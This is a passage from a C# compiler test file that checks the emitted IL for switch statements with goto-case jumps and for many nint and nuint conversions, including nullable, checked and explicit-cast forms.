goto case 2;
case 9999:
ret--; // 1
Report(""case 9999: "", ret);
goto default;
case 0xff:
ret--; // 3
Report(""case 0xff: "", ret);
goto case 0;
default:
ret--;
Report(""default: "", ret);
if (ret > 0) {
goto case int.MaxValue;
}
break;
case int.MaxValue:
ret = 999;
Report(""case int.MaxValue: "", ret);
break;
}
return(ret);
}
static void Report(string prefix, nuint value)
{
Console.WriteLine(prefix + value);
}
static void Main()
{
Console.WriteLine(M(6));
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
var verifier = CompileAndVerify(comp, expectedOutput:
@"case 6: 5
case 2: 4
case 0xff: 3
case 0: 2
case 9999: 1
default: 0
0");
verifier.VerifyIL("Program.M", @"
{
// Code size 184 (0xb8)
.maxstack 2
.locals init (ulong V_0)
IL_0000: ldarg.0
IL_0001: conv.u8
IL_0002: stloc.0
IL_0003: ldloc.0
IL_0004: ldc.i4.6
IL_0005: conv.i8
IL_0006: bgt.un.s IL_0017
IL_0008: ldloc.0
IL_0009: brfalse.s IL_0034
IL_000b: ldloc.0
IL_000c: ldc.i4.2
IL_000d: conv.i8
IL_000e: beq.s IL_0046
IL_0010: ldloc.0
IL_0011: ldc.i4.6
IL_0012: conv.i8
IL_0013: beq.s IL_0058
IL_0015: br.s IL_008e
IL_0017: ldloc.0
IL_0018: ldc.i4 0xff
IL_001d: conv.i8
IL_001e: beq.s IL_007c
IL_0020: ldloc.0
IL_0021: ldc.i4 0x270f
IL_0026: conv.i8
IL_0027: beq.s IL_006a
IL_0029: ldloc.0
IL_002a: ldc.i4 0x7fffffff
IL_002f: conv.i8
IL_0030: beq.s IL_00a3
IL_0032: br.s IL_008e
IL_0034: ldarg.0
IL_0035: ldc.i4.1
IL_0036: sub
IL_0037: starg.s V_0
IL_0039: ldstr ""case 0: ""
IL_003e: ldarg.0
IL_003f: call ""void Program.Report(string, nuint)""
IL_0044: br.s IL_006a
IL_0046: ldarg.0
IL_0047: ldc.i4.1
IL_0048: sub
IL_0049: starg.s V_0
IL_004b: ldstr ""case 2: ""
IL_0050: ldarg.0
IL_0051: call ""void Program.Report(string, nuint)""
IL_0056: br.s IL_007c
IL_0058: ldarg.0
IL_0059: ldc.i4.1
IL_005a: sub
IL_005b: starg.s V_0
IL_005d: ldstr ""case 6: ""
IL_0062: ldarg.0
IL_0063: call ""void Program.Report(string, nuint)""
IL_0068: br.s IL_0046
IL_006a: ldarg.0
IL_006b: ldc.i4.1
IL_006c: sub
IL_006d: starg.s V_0
IL_006f: ldstr ""case 9999: ""
IL_0074: ldarg.0
IL_0075: call ""void Program.Report(string, nuint)""
IL_007a: br.s IL_008e
IL_007c: ldarg.0
IL_007d: ldc.i4.1
IL_007e: sub
IL_007f: starg.s V_0
IL_0081: ldstr ""case 0xff: ""
IL_0086: ldarg.0
IL_0087: call ""void Program.Report(string, nuint)""
IL_008c: br.s IL_0034
IL_008e: ldarg.0
IL_008f: ldc.i4.1
IL_0090: sub
IL_0091: starg.s V_0
IL_0093: ldstr ""default: ""
IL_0098: ldarg.0
IL_0099: call ""void Program.Report(string, nuint)""
IL_009e: ldarg.0
IL_009f: ldc.i4.0
IL_00a0: conv.i
IL_00a1: ble.un.s IL_00b6
IL_00a3: ldc.i4 0x3e7
IL_00a8: conv.i
IL_00a9: starg.s V_0
IL_00ab: ldstr ""case int.MaxValue: ""
IL_00b0: ldarg.0
IL_00b1: call ""void Program.Report(string, nuint)""
IL_00b6: ldarg.0
IL_00b7: ret
}
");
}
[Fact]
public void Conversions()
{
const string convNone =
@"{
// Code size 2 (0x2)
.maxstack 1
IL_0000: ldarg.0
IL_0001: ret
}";
static string conv(string conversion) =>
$@"{{
// Code size 3 (0x3)
.maxstack 1
IL_0000: ldarg.0
IL_0001: {conversion}
IL_0002: ret
}}";
static string convFromNullableT(string conversion, string sourceType) =>
$@"{{
// Code size 9 (0x9)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: {conversion}
IL_0008: ret
}}";
static string convToNullableT(string conversion, string destType) =>
$@"{{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: {conversion}
IL_0002: newobj ""{destType}?..ctor({destType})""
IL_0007: ret
}}";
static string convFromToNullableT(string conversion, string sourceType, string destType) =>
$@"{{
// Code size 35 (0x23)
.maxstack 1
.locals init ({sourceType}? V_0,
{destType}? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool {sourceType}?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""{destType}?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""{sourceType} {sourceType}?.GetValueOrDefault()""
IL_001c: {conversion}
IL_001d: newobj ""{destType}?..ctor({destType})""
IL_0022: ret
}}";
static string convAndExplicit(string method, string conv = null) => conv is null ?
$@"{{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: ret
}}" :
$@"{{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: {conv}
IL_0007: ret
}}";
static string convAndExplicitFromNullableT(string sourceType, string method, string conv = null) => conv is null ?
$@"{{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: call ""{method}""
IL_000c: ret
}}" :
$@"{{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: call ""{method}""
IL_000c: {conv}
IL_000d: ret
}}";
static string convAndExplicitToNullableT(string destType, string method, string conv = null) => conv is null ?
$@"{{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: newobj ""{destType}?..ctor({destType})""
IL_000b: ret
}}" :
$@"{{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: {conv}
IL_0007: newobj ""{destType}?..ctor({destType})""
IL_000c: ret
}}";
// https://github.com/dotnet/roslyn/issues/42834: Invalid code generated for nullable conversions
// involving System.[U]IntPtr: the conversion is dropped.
static string convAndExplicitFromToNullableT(string sourceType, string destType, string method, string conv = null) =>
$@"{{
// Code size 39 (0x27)
.maxstack 1
.locals init ({sourceType}? V_0,
{destType}? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool {sourceType}?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""{destType}?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""{sourceType} {sourceType}?.GetValueOrDefault()""
IL_001c: call ""{method}""
IL_0021: newobj ""{destType}?..ctor({destType})""
IL_0026: ret
}}";
static string explicitAndConv(string method, string conv = null) => conv is null ?
$@"{{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: ret
}}" :
$@"{{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: {conv}
IL_0002: call ""{method}""
IL_0007: ret
}}";
static string explicitAndConvFromNullableT(string sourceType, string method, string conv = null) => conv is null ?
$@"{{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: call ""{method}""
IL_000c: ret
}}" :
$@"{{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""{sourceType} {sourceType}?.Value.get""
IL_0007: {conv}
IL_0008: call ""{method}""
IL_000d: ret
}}";
static string explicitAndConvToNullableT(string destType, string method, string conv = null) => conv is null ?
$@"{{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""{method}""
IL_0006: newobj ""{destType}?..ctor({destType})""
IL_000b: ret
}}" :
$@"{{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: {conv}
IL_0002: call ""{method}""
IL_0007: newobj ""{destType}?..ctor({destType})""
IL_000c: ret
}}";
// https://github.com/dotnet/roslyn/issues/42834: Invalid code generated for nullable conversions
// involving System.[U]IntPtr: the conversion is dropped.
static string explicitAndConvFromToNullableT(string sourceType, string destType, string method, string conv = null) =>
$@"{{
// Code size 39 (0x27)
.maxstack 1
.locals init ({sourceType}? V_0,
{destType}? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool {sourceType}?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""{destType}?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""{sourceType} {sourceType}?.GetValueOrDefault()""
IL_001c: call ""{method}""
IL_0021: newobj ""{destType}?..ctor({destType})""
IL_0026: ret
}}";
void conversions(string sourceType, string destType, string expectedImplicitIL, string expectedExplicitIL, string expectedCheckedIL = null)
{
// https://github.com/dotnet/roslyn/issues/42834: Invalid code generated for nullable conversions
// involving System.[U]IntPtr: the conversion is dropped. And when converting from System.[U]IntPtr,
// an assert in LocalRewriter.MakeLiftedUserDefinedConversionConsequence fails.
bool verify = !(sourceType.EndsWith("?") &&
destType.EndsWith("?") &&
(usesIntPtrOrUIntPtr(sourceType) || usesIntPtrOrUIntPtr(destType)));
#if DEBUG
if (!verify) return;
#endif
convert(
sourceType,
destType,
expectedImplicitIL,
// https://github.com/dotnet/roslyn/issues/42454: TypeInfo.ConvertedType does not include identity conversion between underlying type and native int.
skipTypeChecks: usesIntPtrOrUIntPtr(sourceType) || usesIntPtrOrUIntPtr(destType),
useExplicitCast: false,
useChecked: false,
verify: verify,
expectedImplicitIL is null ?
expectedExplicitIL is null ? ErrorCode.ERR_NoImplicitConv : ErrorCode.ERR_NoImplicitConvCast :
0);
convert(
sourceType,
destType,
expectedExplicitIL,
skipTypeChecks: true,
useExplicitCast: true,
useChecked: false,
verify: verify,
expectedExplicitIL is null ? ErrorCode.ERR_NoExplicitConv : 0);
expectedCheckedIL ??= expectedExplicitIL;
convert(
sourceType,
destType,
expectedCheckedIL,
skipTypeChecks: true,
useExplicitCast: true,
useChecked: true,
verify: verify,
expectedCheckedIL is null ? ErrorCode.ERR_NoExplicitConv : 0);
static bool usesIntPtrOrUIntPtr(string underlyingType) => underlyingType.Contains("IntPtr");
}
conversions(sourceType: "object", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""System.IntPtr""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "nint", expectedImplicitIL: null,
// https://github.com/dotnet/roslyn/issues/42457: Investigate whether this conversion (and other
// conversions to/from void*) can use conv.i or conv.u instead of explicit operators on System.[U]IntPtr.
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.IntPtr System.IntPtr.op_Explicit(void*)""
IL_0006: ret
}");
conversions(sourceType: "bool", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "nint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "sbyte", destType: "nint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"));
conversions(sourceType: "byte", destType: "nint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "short", destType: "nint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"));
conversions(sourceType: "ushort", destType: "nint", expectedImplicitIL: conv("conv.u"), expectedExplicitIL: conv("conv.u"));
conversions(sourceType: "int", destType: "nint", expectedImplicitIL: conv("conv.i"), expectedExplicitIL: conv("conv.i"));
conversions(sourceType: "uint", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u"), expectedCheckedIL: conv("conv.ovf.i.un"));
conversions(sourceType: "long", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i"));
conversions(sourceType: "ulong", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i.un"));
conversions(sourceType: "nint", destType: "nint", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nuint", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i.un"));
conversions(sourceType: "float", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i"));
conversions(sourceType: "double", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i"), expectedCheckedIL: conv("conv.ovf.i"));
conversions(sourceType: "decimal", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: conv.i
IL_0007: ret
}",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: conv.ovf.i
IL_0007: ret
}");
conversions(sourceType: "System.IntPtr", destType: "nint", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.UIntPtr", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "bool?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "char"));
conversions(sourceType: "sbyte?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "sbyte"));
conversions(sourceType: "byte?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "byte"));
conversions(sourceType: "short?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "short"));
conversions(sourceType: "ushort?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "ushort"));
conversions(sourceType: "int?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "int"));
conversions(sourceType: "uint?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.u", "uint"), expectedCheckedIL: convFromNullableT("conv.ovf.i.un", "uint"));
conversions(sourceType: "long?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "long"), expectedCheckedIL: convFromNullableT("conv.ovf.i", "long"));
conversions(sourceType: "ulong?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "ulong"), expectedCheckedIL: convFromNullableT("conv.ovf.i.un", "ulong"));
conversions(sourceType: "nint?", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""nint nint?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "nuint?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "nuint"), expectedCheckedIL: convFromNullableT("conv.ovf.i.un", "nuint"));
conversions(sourceType: "float?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "float"), expectedCheckedIL: convFromNullableT("conv.ovf.i", "float"));
conversions(sourceType: "double?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: convFromNullableT("conv.i", "double"), expectedCheckedIL: convFromNullableT("conv.ovf.i", "double"));
conversions(sourceType: "decimal?", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""long decimal.op_Explicit(decimal)""
IL_000c: conv.i
IL_000d: ret
}",
@"{
// Code size 14 (0xe)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""decimal decimal?.Value.get""
IL_0007: call ""long decimal.op_Explicit(decimal)""
IL_000c: conv.ovf.i
IL_000d: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "nint", expectedImplicitIL: null,
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarga.s V_0
IL_0002: call ""System.IntPtr System.IntPtr?.Value.get""
IL_0007: ret
}");
conversions(sourceType: "System.UIntPtr?", destType: "nint", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "object", destType: "nint?", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: unbox.any ""nint?""
IL_0006: ret
}");
conversions(sourceType: "string", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "void*", destType: "nint?", expectedImplicitIL: null,
@"{
// Code size 12 (0xc)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""System.IntPtr System.IntPtr.op_Explicit(void*)""
IL_0006: newobj ""nint?..ctor(nint)""
IL_000b: ret
}");
conversions(sourceType: "bool", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char", destType: "nint?", expectedImplicitIL: convToNullableT("conv.u", "nint"), expectedExplicitIL: convToNullableT("conv.u", "nint"));
conversions(sourceType: "sbyte", destType: "nint?", expectedImplicitIL: convToNullableT("conv.i", "nint"), expectedExplicitIL: convToNullableT("conv.i", "nint"));
conversions(sourceType: "byte", destType: "nint?", expectedImplicitIL: convToNullableT("conv.u", "nint"), expectedExplicitIL: convToNullableT("conv.u", "nint"));
conversions(sourceType: "short", destType: "nint?", expectedImplicitIL: convToNullableT("conv.i", "nint"), expectedExplicitIL: convToNullableT("conv.i", "nint"));
conversions(sourceType: "ushort", destType: "nint?", expectedImplicitIL: convToNullableT("conv.u", "nint"), expectedExplicitIL: convToNullableT("conv.u", "nint"));
conversions(sourceType: "int", destType: "nint?", expectedImplicitIL: convToNullableT("conv.i", "nint"), expectedExplicitIL: convToNullableT("conv.i", "nint"));
conversions(sourceType: "uint", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i.un", "nint"));
conversions(sourceType: "long", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i", "nint"));
conversions(sourceType: "ulong", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i.un", "nint"));
conversions(sourceType: "nint", destType: "nint?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nint?..ctor(nint)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nint?..ctor(nint)""
IL_0006: ret
}");
conversions(sourceType: "nuint", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i.un", "nint"));
conversions(sourceType: "float", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i", "nint"));
conversions(sourceType: "double", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i", "nint"), expectedCheckedIL: convToNullableT("conv.ovf.i", "nint"));
conversions(sourceType: "decimal", destType: "nint?", expectedImplicitIL: null,
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: conv.i
IL_0007: newobj ""nint?..ctor(nint)""
IL_000c: ret
}",
@"{
// Code size 13 (0xd)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""long decimal.op_Explicit(decimal)""
IL_0006: conv.ovf.i
IL_0007: newobj ""nint?..ctor(nint)""
IL_000c: ret
}");
conversions(sourceType: "System.IntPtr", destType: "nint?",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nint?..ctor(nint)""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: newobj ""nint?..ctor(nint)""
IL_0006: ret
}");
conversions(sourceType: "System.UIntPtr", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "bool?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "char?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.u", "char", "nint"), expectedExplicitIL: convFromToNullableT("conv.u", "char", "nint"));
conversions(sourceType: "sbyte?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.i", "sbyte", "nint"), expectedExplicitIL: convFromToNullableT("conv.i", "sbyte", "nint"));
conversions(sourceType: "byte?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.u", "byte", "nint"), expectedExplicitIL: convFromToNullableT("conv.u", "byte", "nint"));
conversions(sourceType: "short?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.i", "short", "nint"), expectedExplicitIL: convFromToNullableT("conv.i", "short", "nint"));
conversions(sourceType: "ushort?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.u", "ushort", "nint"), expectedExplicitIL: convFromToNullableT("conv.u", "ushort", "nint"));
conversions(sourceType: "int?", destType: "nint?", expectedImplicitIL: convFromToNullableT("conv.i", "int", "nint"), expectedExplicitIL: convFromToNullableT("conv.i", "int", "nint"));
conversions(sourceType: "uint?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.u", "uint", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i.un", "uint", "nint"));
conversions(sourceType: "long?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "long", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i", "long", "nint"));
conversions(sourceType: "ulong?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "ulong", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i.un", "ulong", "nint"));
conversions(sourceType: "nint?", destType: "nint?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nuint?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "nuint", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i.un", "nuint", "nint"));
conversions(sourceType: "float?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "float", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i", "float", "nint"));
conversions(sourceType: "double?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: convFromToNullableT("conv.i", "double", "nint"), expectedCheckedIL: convFromToNullableT("conv.ovf.i", "double", "nint"));
conversions(sourceType: "decimal?", destType: "nint?", null,
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (decimal? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""long decimal.op_Explicit(decimal)""
IL_0021: conv.i
IL_0022: newobj ""nint?..ctor(nint)""
IL_0027: ret
}",
@"{
// Code size 40 (0x28)
.maxstack 1
.locals init (decimal? V_0,
nint? V_1)
IL_0000: ldarg.0
IL_0001: stloc.0
IL_0002: ldloca.s V_0
IL_0004: call ""bool decimal?.HasValue.get""
IL_0009: brtrue.s IL_0015
IL_000b: ldloca.s V_1
IL_000d: initobj ""nint?""
IL_0013: ldloc.1
IL_0014: ret
IL_0015: ldloca.s V_0
IL_0017: call ""decimal decimal?.GetValueOrDefault()""
IL_001c: call ""long decimal.op_Explicit(decimal)""
IL_0021: conv.ovf.i
IL_0022: newobj ""nint?..ctor(nint)""
IL_0027: ret
}");
conversions(sourceType: "System.IntPtr?", destType: "nint?", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "System.UIntPtr?", destType: "nint?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint", destType: "object",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}",
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: box ""System.IntPtr""
IL_0006: ret
}");
conversions(sourceType: "nint", destType: "string", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint", destType: "void*", expectedImplicitIL: null,
@"{
// Code size 7 (0x7)
.maxstack 1
IL_0000: ldarg.0
IL_0001: call ""void* System.IntPtr.op_Explicit(System.IntPtr)""
IL_0006: ret
}");
conversions(sourceType: "nint", destType: "bool", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint", destType: "char", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u2"), expectedCheckedIL: conv("conv.ovf.u2"));
conversions(sourceType: "nint", destType: "sbyte", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i1"), expectedCheckedIL: conv("conv.ovf.i1"));
conversions(sourceType: "nint", destType: "byte", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u1"), expectedCheckedIL: conv("conv.ovf.u1"));
conversions(sourceType: "nint", destType: "short", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i2"), expectedCheckedIL: conv("conv.ovf.i2"));
conversions(sourceType: "nint", destType: "ushort", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u2"), expectedCheckedIL: conv("conv.ovf.u2"));
conversions(sourceType: "nint", destType: "int", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i4"), expectedCheckedIL: conv("conv.ovf.i4"));
conversions(sourceType: "nint", destType: "uint", expectedImplicitIL: null, expectedExplicitIL: conv("conv.u4"), expectedCheckedIL: conv("conv.ovf.u4"));
conversions(sourceType: "nint", destType: "long", expectedImplicitIL: conv("conv.i8"), expectedExplicitIL: conv("conv.i8"));
// https://github.com/dotnet/roslyn/issues/42457: Investigate why this conversion (and other conversions from nint to ulong and from nuint to long)
// use differently signed opcodes for unchecked and checked conversions. (Why conv.i8 but conv.ovf.u8 here for instance?)
conversions(sourceType: "nint", destType: "ulong", expectedImplicitIL: null, expectedExplicitIL: conv("conv.i8"), expectedCheckedIL: conv("conv.ovf.u8"));
conversions(sourceType: "nint", destType: "float", expectedImplicitIL: conv("conv.r4"), expectedExplicitIL: conv("conv.r4"));
conversions(sourceType: "nint", destType: "double", expectedImplicitIL: conv("conv.r8"), expectedExplicitIL: conv("conv.r8"));
conversions(sourceType: "nint", destType: "decimal",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: call ""decimal decimal.op_Implicit(long)""
IL_0007: ret
}",
@"{
// Code size 8 (0x8)
.maxstack 1
IL_0000: ldarg.0
IL_0001: conv.i8
IL_0002: call ""decimal decimal.op_Implicit(long)""
IL_0007: ret
}");
conversions(sourceType: "nint", destType: "System.IntPtr", expectedImplicitIL: convNone, expectedExplicitIL: convNone);
conversions(sourceType: "nint", destType: "System.UIntPtr", expectedImplicitIL: null, expectedExplicitIL: null); // https://github.com/dotnet/roslyn/issues/42560: Allow explicitly casting nint to UIntPtr.
conversions(sourceType: "nint", destType: "bool?", expectedImplicitIL: null, expectedExplicitIL: null);
conversions(sourceType: "nint", destType: "char?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u2", "char"), expectedCheckedIL: convToNullableT("conv.ovf.u2", "char"));
conversions(sourceType: "nint", destType: "sbyte?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i1", "sbyte"), expectedCheckedIL: convToNullableT("conv.ovf.i1", "sbyte"));
conversions(sourceType: "nint", destType: "byte?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u1", "byte"), expectedCheckedIL: convToNullableT("conv.ovf.u1", "byte"));
conversions(sourceType: "nint", destType: "short?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i2", "short"), expectedCheckedIL: convToNullableT("conv.ovf.i2", "short"));
conversions(sourceType: "nint", destType: "ushort?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u2", "ushort"), expectedCheckedIL: convToNullableT("conv.ovf.u2", "ushort"));
conversions(sourceType: "nint", destType: "int?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i4", "int"), expectedCheckedIL: convToNullableT("conv.ovf.i4", "int"));
conversions(sourceType: "nint", destType: "uint?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.u4", "uint"), expectedCheckedIL: convToNullableT("conv.ovf.u4", "uint"));
conversions(sourceType: "nint", destType: "long?", expectedImplicitIL: convToNullableT("conv.i8", "long"), expectedExplicitIL: convToNullableT("conv.i8", "long"));
conversions(sourceType: "nint", destType: "ulong?", expectedImplicitIL: null, expectedExplicitIL: convToNullableT("conv.i8", "ulong"), expectedCheckedIL: convToNullableT("conv.ovf.u8", "ulong"));
